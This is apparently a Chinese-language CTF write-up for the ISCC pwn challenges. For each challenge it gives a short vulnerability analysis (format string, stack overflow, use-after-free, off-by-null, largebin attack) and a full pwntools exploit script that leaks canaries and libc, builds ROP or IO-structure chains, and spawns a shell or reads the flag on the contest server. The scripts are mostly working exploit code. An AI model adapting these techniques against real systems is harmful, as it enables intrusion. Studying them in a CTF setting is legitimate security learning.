练武 easyshell checksec 查看保护发现保护全开,拖IDA一下子就看到了一个大大的backdoor
然后就想着挟持程序流到backdoor
,反编译一下
发现仅有一个格式化字符串漏洞,所以可以格式化字符串泄露栈地址和程序地址后计算偏移直接跳转过去。
s1位于栈上,栈上的format String还是很好打的
首先观察一下栈上有没有什么有用的数据,顺便测下偏移(注意这里的偏移不是地址偏移,而是%p这类format String在匹配地址时的偏移)
可以看到第9个%p被换成了一连串的0x61,所以我们填充了8个a的地方的偏移为9,将断点下到printf函数,查看此时stack结构。
因为我们仅需要canary及程序地址(因为开启了pie,为了推测程序中相关gadgets此时加载位置需要程序地址),计算偏移泄露这两个数即可
payload = b'flagisa%15$p%17$p' sh.sendlineafter(b'>>' ,payload) canary = int (sh.recv(18 ),16 ) mainbk_addr = int (sh.recv(14 ),16 )
随后栈溢出挟持程序流跳转到backdoor
即可,注意需要把canary放在正确的位置,绕过canary检测。因为在while循环中,函数不会直接退出,还要重新发送一次exit
exploit:
from pwn import *context.log_level = "debug" backdoor = 0x1291 mainbk = 0x1520 sh = remote("182.92.237.102" ,10011 ) payload = b'flagisa%15$p%17$p' sh.sendlineafter(b'>>' ,payload) canary = int (sh.recv(18 ),16 ) mainbk_addr = int (sh.recv(14 ),16 ) backdoor_addr = mainbk_addr - (mainbk-backdoor) payload = p64(canary).rjust(0x40 ,b'a' ) + p64(0 ) + p64(backdoor_addr) sh.sendlineafter(b'>>' ,payload) sh.sendlineafter(b'>>' ,b'exit' ) log.info("mainbk_addr is 0x%x" %mainbk_addr) sh.interactive()
iscc_easy 首先查看保护并拖入IDA反编译
main 函数内无溢出,但有printf 的format漏洞,且仅当x=5
时调用welcome函数。welcome内有栈溢出
所以思路就是想办法绕过x==5
的检测,然后进行栈溢出,随后就像是一道ret2libc的板子题
exploit:
from pwn import * pwn_path = "./ISCC_easy" libc_path = "libc6-i386_2.31-0ubuntu9.14_amd64.so" # sh = process(pwn_path) sh = remote("182.92.237.102",10013) libc = ELF(libc_path) context.log_level = 'debug' # set x = 5 payload = p32(0x0804C030) + b'a%4$hhn' sh.sendafter(b"Let's have fun!\n",payload) # leak libc_base call_welcome = 0x08049372 puts_plt = 0x080490D0 puts_got = 0x0804C014 payload = b'a'*0x94 + p32(puts_plt) + p32(call_welcome) + p32(puts_got) sh.sendafter(b"Input:\n",payload) puts_addr = u32(sh.recv(4)) libc_base = puts_addr - libc.sym['puts'] system_addr = libc_base + libc.sym['system'] str_binsh_addr = libc_base + next(libc.search(b"/bin/sh")) log.info("puts_addr is 0x%x" %puts_addr) log.info("ilbc_base is 0x%x" %libc_base) log.info("system_addr is 0x%x" %system_addr) log.info("str_binsh_addr is 0x%x" %str_binsh_addr) # get shell payload = b'a'*0x94 + p32(system_addr) + p32(0) + p32(str_binsh_addr) sh.sendafter(b"Input:\n",payload) sh.interactive()
Flag 查看保护并拖入IDA反汇编
在weclome函数中发现如果我们的输入和help.txt
文件中的不一样时,就会被printf出来,此过程可以触发format string漏洞。
随后发现在第二个函数中可以栈溢出
所以我们的思路就是第一处进入点尽可能泄露canary和libc_base,第二处进入点直接执行提权函数。但是很可惜,调试的时候在栈上没找到泄露libc的机会。那就正常打带canary的ret2libc (此时canary已知)
分析完毕,开始实践:
很怪,没发现我们的测试序列(‘aaaa’),于是再看一眼format,发现函数定义是指针,没法儿用这种方法测偏移了
断点下到call printf的位置,观察此时栈结构
不出所料的话bp寄存器指向位置的偏移应该是0x16,canary的偏移应该是0x13
果真如此,之后就是正常的带canary的ret2libc,canary已经到手了,直接构建ROP链即可
我这里还额外进行了栈迁移,原因是误以为0x100-0x94=12
,hhh 具体原因见此
exploit:
from pwn import * from LibcSearcher import LibcSearcher context(arch='i386',os='linux') sh = process("./pwn") sh = remote("182.92.237.102",10012) # ebp 偏移是 0x16 . format payload = b'aaaa%19$p%22$p' sh.sendline(payload) sh.recvuntil(b'aaaa') canary = int(sh.recv(10),16) stack_buf = int(sh.recv(10),16)-0x94-0x10 log.info("canary is 0x%x" %canary) log.info("stack_buf is 0x%x" %stack_buf) # 栈迁移 ret = 0x0804900e leave_ret = 0x080494C0 puts_plt = 0x08049134 puts_got = 0x0804C01C bck_addr = 0x0804931B pop_ebx_ret = 0x08049022 # 栈迁移然后puts泄漏libc,随后执行提权函数。所以这就是一道带栈迁移的libc类型题。 payload = flat([stack_buf,puts_plt,bck_addr,puts_got]) payload = payload.ljust(0x88,b'a') + p32(canary) + p32(0)*2 + p32(stack_buf) + p32(leave_ret) sh.sendafter(b"Input:\n",payload) puts_addr = u32(sh.recv(4)) log.info("puts_addr is 0x%x" %puts_addr) # 推测system和binsh system = puts_addr - 0x2b110 binsh = puts_addr + 0x149e95 system = puts_addr - 0x06d1e0 + 0x041360 binsh = puts_addr - 0x06d1e0 + 0x18c363 log.info("system is 0x%x" %system) log.info("binsh is 0x%x" %binsh) payload = flat([stack_buf,system,bck_addr,binsh]) payload = payload.ljust(0x88,b'a') + p32(canary) + p32(0)*2 + p32(stack_buf+0x8-0x94) + p32(leave_ret) sh.sendafter(b"Input:\n",payload) sh.interactive()
chaos 拖入ida,发现后门
直接走后门拿到权限
无pie,仅能申请堆块,多线程
申请堆块到 第二个堆块尾部,并利用堆溢出控制thread arena
将堆块申请到bss段0x602038附近,并在此处挟持程序流。
exploit:
from pwn import *re=remote("182.92.237.102" ,10019 ) if args.G: gdb.attach(re) context.log_level='debug' def add (size,n,pay="" ): re.recvuntil("Action: " ) re.sendline(str (1 )) re.recvuntil("ID: " ) re.sendline(str (size)) re.recvuntil("Quantity: " ) re.sendline(str (n)) re.recvuntil("1): " ) if pay =="" : re.sendline("0" ) else : re.sendline("1" ) re.recvuntil("Message: " ) re.send(pay) re.recvuntil("ord: \n" ) pay=b"I'm ready for shopping" re.sendline(pay) for i in range (12 ): add(0x4000 ,1000 ) add(0x4000 ,262 ,b'a' *0x3ff0 ) sleep(0.2 ) pause() pay=b'1' *0x50 +p32(0 )+p32(3 )+p64(0 )*5 +p32(0x60201d ) re.send(pay) pause() system=0x400978 pay=b'/bin/sh\x00' +b'\x00' *3 +p64(system) pay=pay.ljust(0x60 ,b'\x00' ) add(0x60 ,0 ,pay) re.interactive()
得到flag:
ISCC_U 做这道题的时候遇到了个特别坑的事儿,在本地跑的通,但是在远程不行,报错信息提示说引号不匹配,到最后打印system执行的命令内容才知道,原来前面的地址中有一字节刚好对应单引号 `。只能说一整个无语住了,记录一下,长个记性。
我有点怀疑自己的这个是否是非预期解,因为本次漏洞利用并未涉及栈
一黄两绿,无pie;malloc,show,delete完好,无edit
注意到add函数执行时会申请两个chunk,为表述方便,分别将其称作chunk_a和chunk_b。chunk_a用来存放print_note_content地址和chunk_b地址,chunk_b是实际申请的大小,有UAF。而且delete时,两个堆块都会被free掉,所以再申请后利用UAF可以实现控制
需要注意的是,这里的show功能实现比较怪,控制chunk_a内容后可用来挟持程序流
首先挟持程序流leak libc ,随后挟持程序流执行提权函数。控制chunk_a方法如下:
exploit:
from pwn import *path = "./attachment-39" sh = process(path) \ \ def add (size,Content ): sh.sendafter(b"What's your choice :" ,str (1 ).encode()) sh.sendafter(b"Note size :" ,str (size).encode()) sh.sendafter(b"Content :" ,Content) def delete (Index ): sh.sendafter(b"What's your choice :" ,str (2 ).encode()) sh.sendafter(b"Index :" ,str (Index).encode()) def printf (Index ): sh.sendafter(b"What's your choice :" ,str (3 ).encode()) sh.sendafter(b"Index :" ,str (Index).encode()) print_note_content = 0x80492b6 puts_got = 0x0804C024 \ add(0x10 ,b'chunkis_0' ) add(0x10 ,b'chunkis_1' ) add(0x10 ,b'chunkis_2' ) delete(2 ) delete(1 ) add(0xc ,flat([print_note_content,puts_got])) gdb.attach(sh) pause() printf(2 ) puts_addr = u32(sh.recv(4 )) log.info("puts_addr is 0x%x" %puts_addr) delete(1 ) \ \ system_addr = puts_addr - 0x2be80 add(0xc ,p32(system_addr)+b"`;sh" ) printf(2 ) log.info("命令:" +"" .join([chr ((system_addr>>8 *i)&0xff ) for i in range (4 )])+";/bin/sh" ) sh.interactive()
heapheap 保护全开,四肢完整(仅能申请largebin),禁用execve。
所以思路就是leak libc_base,然后largebin attack打_IO_all_list
,挟持程序流打setcontext。将栈迁移到堆上打orw
exploit:
from pwn import *sh=remote('182.92.237.102' ,11000 ) libc=ELF('./libc-2.31.so' ) def add (idx,Size ): sh.recvuntil(b'choice' ) sh.sendline(b'1' ) sh.recvuntil(b'index' ) sh.sendline(bytes (str (idx),'utf-8' )) sh.recvuntil(b'Size' ) sh.sendline(bytes (str (Size),'utf-8' )) def delete (id ): sh.recvuntil(b'choice' ) sh.sendline(b'4' ) sh.recvuntil(b'index' ) sh.sendline(bytes (str (id ),'utf-8' )) def edit (id ,Content ): sh.recvuntil(b'choice' ) sh.sendline(b'3' ) sh.recvuntil(b'index' ) sh.sendline(bytes (str (id ),'utf-8' )) sh.recvuntil(b'context' ) sh.send(Content) def show (id ): sh.recvuntil(b'choice' ) sh.sendline(b'2' ) sh.recvuntil(b'index' ) sh.sendline(bytes (str (id ),'utf-8' )) add(0 ,0x420 ) add(1 ,0x410 ) add(2 ,0x410 ) add(3 ,0x410 ) delete(0 ) show(0 ) libc_add=u64(sh.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) libcbase=libc_add-libc.symbols['__malloc_hook' ]-96 -0x10 io_list_all=libcbase+0x1ed5a0 log.info('libcbase ' +hex (libcbase)) log.info('io_list_all ' +hex (io_list_all)) pause() add(4 ,0x430 ) edit(0 ,b'a' *(0x10 -1 )+b'A' ) show(0 ) sh.recvuntil(b'A' ) heap_add=u64(sh.recvuntil(b'\n' )[:-1 ].ljust(8 ,b'\x00' )) log.info('heap_add ' +hex (heap_add)) fd=libcbase+0x1ecfd0 payload=p64(fd)*2 +p64(heap_add)+p64(io_list_all-0x20 ) edit(0 ,payload) delete(2 ) add(5 ,0x470 ) delete(5 ) openadd=libcbase+libc.sym['open' ] readadd=libcbase+libc.sym['read' ] writeadd=libcbase+libc.sym['write' ] setcontextadd=libcbase+libc.sym['setcontext' ] rdi=libcbase+0x0000000000023b6a rsi=libcbase+0x000000000002601f rdx_r12=libcbase+0x0000000000119431 ret=libcbase+0x0000000000022679 chunk_small=heap_add+0x850 IO_wfile_jumps=libcbase+0x1e8f60 fakeIO_add=chunk_small orw_add=fakeIO_add+0x200 A=fakeIO_add+0x40 B=fakeIO_add+0xe8 +0x40 -0x68 C=fakeIO_add fake_IO=b'' fake_IO=fake_IO.ljust(0x18 ,b'\x00' ) fake_IO+=p64(1 ) fake_IO=fake_IO.ljust(0x78 ,b'\x00' ) fake_IO+=p64(fakeIO_add) fake_IO=fake_IO.ljust(0x90 ,b'\x00' ) fake_IO+=p64(A) fake_IO=fake_IO.ljust(0xc8 ,b'\x00' ) fake_IO+=p64(IO_wfile_jumps) fake_IO+=p64(orw_add)+p64(ret)+b'\x00' *0x30 fake_IO+=p64(B)+p64(setcontextadd+61 ) flag_add=orw_add+0x100 +0x10 orw = p64(rdi)+ p64(flag_add) + p64(rsi) + p64(0 ) + p64(openadd) orw += p64(rdi)+ p64(3 )+p64(rsi)+p64(flag_add)+p64(rdx_r12)+p64(0x50 )+p64(0 )+p64(readadd) orw += p64(rdi)+p64(1 )+p64(writeadd) payload=fake_IO payload=payload.ljust(0x200 -0x10 ,b'\x00' ) payload+=orw payload=payload.ljust(0x300 ,b'\x00' ) payload+=b'flag\x00' edit(2 ,payload) sh.recvuntil(b'choice' ) sh.sendline(b'5' ) sh.interactive()
得到flag
miao 查看elf文件的一些基本信息,并拖入IDA反编译
发现两个简单漏洞
第一次leak canary,第二次打ret2sycall。
exp:
your_program 查看一下保护,并拖入IDA反编译
没有任何保护,且此处有栈溢出,所以打ret2libc,需要注意的是,此前只有一个函数printf
被调用,所以只有该函数能泄露got地址。
from pwn import * context(arch="amd64" ,log_level="debug" ) p = remote("182.92.237.102" ,10032 ) elf = ELF("./Your_program" ) libc=ELF('./libc6_2.31-0ubuntu9.15_amd64.so' ) def get_addr (): return u64(p.recvuntil(b"\x7f" )[-6 :].ljust(8 ,b"\x00" )) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) rdi= 0x401763 puts = 0x401100 authorize = 0x401276 key=b'A' *40 +p64(rdi)+p64(elf.got['printf' ])+p64(puts)+p64(authorize) p.sendlineafter("Enter key:" ,key) printf_add=get_addr() print (hex (printf_add)) libc_base=printf_add-libc.sym['printf' ] system,bin =get_sb() key=b'A' *40 +p64(rdi+1 )+p64(rdi)+p64(bin )+p64(system) p.sendlineafter("Enter key:" ,key) p.interactive()
eazy_heap 保护全开,有沙盒禁用execve,拖入IDA反编译
发现在edit中存在off by null
利用large chunk泄露出来libc和heap,然后利用off_by_null进行unlink,构造块重叠。然后申请chunk到environ用来leak stack,之后同样的方法申请堆到栈上,劫持add函数返回地址,挟持程序流
最后打栈上的ORW,直接获得flag。
from pwn import *context(arch='amd64' , os='linux' ,log_level="debug" ) libc = ELF("./libc.so.6" ) elf =ELF("./CAT_DE" ) sh=process("./CAT_DE" ) def add (size,content ): sh.sendlineafter("input your car choice >> " ,"1" ) sh.sendlineafter("size:" ,str (size)) sh.sendafter("content:" ,content) def edit (idx,content ): sh.sendlineafter("input your car choice >> " ,'4' ) sh.sendlineafter("idx:" ,str (idx)) sh.sendafter("content:" ,content) def show (idx ): sh.sendlineafter("input your car choice >> " ,'3' ) sh.sendlineafter("idx:" ,str (idx)) def dele (idx ): sh.sendlineafter("input your car choice >> " ,'2' ) sh.sendlineafter("idx:" ,str (idx)) add(0x440 ,"AAA" ) add(0x88 ,"AAA" ) add(0x440 ,"AAAA" ) add(0x88 ,"AAA" ) dele(0 ) dele(2 ) add(0x450 ,"AAAA" ) add(0x440 ,"AAAAAAAA" ) add(0x440 ,"BBBBBBBB" ) show(4 ) sh.recvuntil('\0' ) libc.address = u64(sh.recv(6 ).ljust(8 ,b"\x00" )) -0x21a000 - 0xe0 success('libc_base----->' +hex (libc.address)) envrion = libc.sym['environ' ] stdout = libc.sym['_IO_2_1_stdout_' ] print (hex (libc.address))sh.recv(2 ) heap_addr = u64(sh.recv(8 )) - 0x290 print (hex (heap_addr))for i in range (7 ): add(0xf8 ,"AAA" ) add(0x108 ,"AAA" ) add(0xf0 ,"AAAA" ) add(0x88 ,"AAA" ) for i in range (7 ): dele(i+5 ) target = heap_addr + 0x17c0 ptr = heap_addr + 0xc60 edit(0 ,p64(target)) payload = p64(0 ) + p64(0x101 ) + p64(ptr-0x18 ) + p64(ptr - 0x10 ) payload = payload.ljust(0x100 ,b"\x00" ) + p64(0x100 ) edit(12 ,payload) dele(13 ) add(0xe8 ,"AAAA" ) add(0xe8 ,"AAAA" ) dele(5 ) dele(6 ) show(12 ) sh.recvuntil("\xf1" ) sh.recv(7 ) en_key = u64(sh.recv(8 )) print ("en_key ===> " + hex (en_key))key = u64(sh.recv(8 )) print ("key ===> " + hex (key))payload = p64(0 )+p64(0xf1 )+p64(en_key)+p64(key) payload = payload.ljust(0xf0 ,b"\x00" ) + p64(0 ) + p64(0xf1 ) + p64((heap_addr+0x10 )^en_key) edit(12 ,payload) add(0xe8 ,"AAAA" ) add(0xe8 ,p64(0 )*3 +p64(0x0000000700010001 )+p64(0 )*24 +p64(envrion-16 )) print (hex (stdout))add(0xd0 ,"A" *8 ) show(7 ) stack = u64(sh.recvuntil("\x7f" )[-6 :].ljust(8 ,b"\x00" )) - 0x140 - 8 print (hex (stack))edit(6 ,p64(0 )*3 +p64(0x0000000700010001 )+p64(0 )*24 +p64(stack)) pop_rdi = 0x000000000002a3e5 + libc.address pop_rsi = 0x000000000002be51 + libc.address pop_rdx_r12 = 0x000000000011f497 + libc.address read_addr = libc.sym['read' ] open_addr = libc.sym['open' ] write_addr = libc.sym['write' ] orw = p64(pop_rdi) + p64(stack) + p64(pop_rsi) + p64(0 ) + p64(open_addr) orw += p64(pop_rdi) + p64(3 ) + p64(pop_rsi) + p64(stack + 0x100 ) + p64(pop_rdx_r12) + p64(0x30 ) + p64(0 ) + p64(read_addr) orw += p64(pop_rdi) + p64(1 ) + p64(write_addr) add(0xd0 ,b"./flag" .ljust(8 ,b"\x00" )+orw) sh.interactive()
擂台 curious 查看保护,发现几乎没有,拖入IDA反编译,发现是静态编译的,且IDA无法识别。
索性直接跑一下,然后IDA查字符串
此处明白了大概逻辑,先输入六个字符,经加密后放到byte_4c54e0
处,然后与字符串"B2GXEwvZ"
比较,成功则进入下一阶段。这不就是加密嘛,直接看加密过程,发现有很明显的base64的特征。
测试一下,发现除了base64加密外还有大小写转换
直接手动转换一下大小写尝试解密
解密成功,进入下一步,看起来似乎有两次输入,第二次输入在栈上
直接ROPgadget一把梭
exoloit:
from pwn import *context(log_level = "debug" ,arch = "amd64" ,os = "linux" ) p = b'' p += p64(0x000000000040f49e ) p += p64(0x00000000004c20e0 ) p += p64(0x0000000000452af7 ) p += b'/bin//sh' p += p64(0x0000000000483b85 ) p += p64(0x000000000040f49e ) p += p64(0x00000000004c20e8 ) p += p64(0x0000000000446ef9 ) p += p64(0x0000000000483b85 ) p += p64(0x0000000000401912 ) p += p64(0x00000000004c20e0 ) p += p64(0x000000000040f49e ) p += p64(0x00000000004c20e8 ) p += p64(0x000000000040181f ) p += p64(0x00000000004c20e8 ) p += p64(0x0000000000446ef9 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004788c0 ) p += p64(0x00000000004012d3 ) io=remote("182.92.237.102" ,10031 ) io.send(b'oh1yes' ) io.sendline(b'1' ) io.sendline(b'a' *0x28 +p) io.interactive()
unheap 这绝对是一道堆题,且开启了沙盒,禁用execve。
有uaf漏洞
经测试,远端glibc版本大概在2.27及以上,2.31以下
所以利用uaf直接double free将堆块申请到top chunk。随后释放top chunk到unsort用来leak libc。
随后控制tcache bins将堆申请到environ泄露栈地址,打栈上的orw。
exploit:
from pwn import *from ctypes import *sh=remote('182.92.237.102' ,10030 ) libc=ELF('../libc-2.27.so' ) context.arch='amd64' def create (Size,Content=b'a' ): sh.recvuntil(b'>>' ) sh.sendline(b'1' ) sh.recvuntil(b'size' ) sh.sendline(bytes (str (Size),'utf-8' )) sh.recvuntil(b'content' ) sh.send(Content) def free (id ): sh.recvuntil(b'>>' ) sh.sendline(b'2' ) sh.recvuntil(b'index' ) sh.sendline(bytes (str (id ),'utf-8' )) def edit (id ,Content ): sh.recvuntil(b'>>' ) sh.sendline(b'3' ) sh.recvuntil(b'index' ) sh.sendline(bytes (str (id ),'utf-8' )) sh.recvuntil(b'data' ) sh.send(Content) def show (id ): sh.recvuntil(b'>>' ) sh.sendline(b'4' ) sh.recvuntil(b'index' ) sh.sendline(bytes (str (id ),'utf-8' )) create(0x18 ) free(0 ) edit(0 ,b'a' *7 +b'A' ) show(0 ) sh.recvuntil(b'A' ) heap_add=u64(sh.recvuntil(b'\n' )[:-1 ].ljust(8 ,b'\x00' )) heapbase=heap_add-0x10 success('heapbase ' +hex (heapbase)) edit(0 ,b'\x00' *0xf ) free(0 ) chunk_0=heapbase+0x260 +0x10 create(0x18 ,p64(heapbase+0x10 )) create(0x18 ) create(0x18 ,b'\x00' ) payload=b'\x00' *(0x20 )+b'\x07' *8 edit(3 ,payload) free(3 ) show(3 ) libc_add=u64(sh.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) libcbase=libc_add-libc.symbols['__malloc_hook' ]-96 -0x10 log.info('libcbase ' +hex (libcbase)) log.info('libc_addr ' +hex (libc_add)) env=libcbase+libc.symbols['_environ' ] payload=b'\x00' *(0x40 )+p64(env) edit(3 ,payload) create(0x18 ,b'\x18' ) show(4 ) stack_add=u64(sh.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) log.info('stack_add ' +hex (stack_add)) ret_add=stack_add-0x110 payload=b'\x00' *(0xb0 )+p64(ret_add) edit(3 ,payload) rdi_ret=libcbase+0x000000000002164f rsi_ret=libcbase+0x0000000000023a6a rdx_ret=libcbase+0x0000000000001b96 ret=libcbase+0x00000000000008aa mprotect=libcbase+libc.sym['mprotect' ] puts=libcbase+libc.sym['puts' ] str_bin_sh=libcbase+next (libc.search(b'/bin/sh' )) payload=p64(ret)*6 length=(len (payload)) print (hex (length))orw=p64(rdi_ret)+p64(ret_add-(ret_add&0xfff ))+p64(rsi_ret)+p64(0x5000 ) orw+=p64(rdx_ret)+p64(7 )+p64(mprotect)+p64(ret_add+0x8 *(8 )+length)+asm(shellcraft.cat('/flag' )) openadd=libcbase+libc.sym['open' ] writeadd=libcbase+libc.sym['write' ] readadd=libcbase+libc.sym['read' ] flag_add=ret_add+length+8 *15 orw_rop = p64(rdi_ret) + p64(flag_add) + p64(rsi_ret) + p64(0 )+ p64(openadd) orw_rop += p64(rdi_ret) + p64(3 ) + p64(rsi_ret) + p64(flag_add) + p64(rdx_ret) + p64(0x100 ) + p64(readadd) orw_rop += p64(rdi_ret) + p64(1 )+ p64(writeadd) orw_rop += b'flag.txt\x00' payload+=orw_rop print (hex (len (payload)))create(0x100 -0x8 ,payload) sh.interactive()
great 查看保护,并拖入IDA反编译
发现栈溢出,直接打ret2libc
需要注意的是,进入此函数之前要经过两次验证
exploit:
from pwn import* context(log_level = "debug",arch = "i386",os = "linux") sh = remote('182.92.237.102',10014) elf = ELF("./great") #libc = ELF("/lib/i386-linux-gnu/libc.so.6") sh.sendlineafter("Do you enjoy ISCC?",b'yes') sh.sendlineafter("Then I will show you something great.",b'OK') puts_plt = 0x8048490 puts_got = elf.got["puts"] great = 0x08048624 payload = b'a'*112 + p32(puts_plt) + p32(great) + p32(puts_got) sh.recvuntil("Here it is!") sh.sendline(payload) puts_addr = u32(sh.recvuntil("\xf7")[-4:]) print(hex(puts_addr)) system = puts_addr -0x5f150 + 0x3a950 binsh = puts_addr - 0x5f150+ 0x15912b payload = b'a'*112 + p32(system) + p32(0) + p32(binsh) sh.sendlineafter("Here it is!",payload) sh.interactive()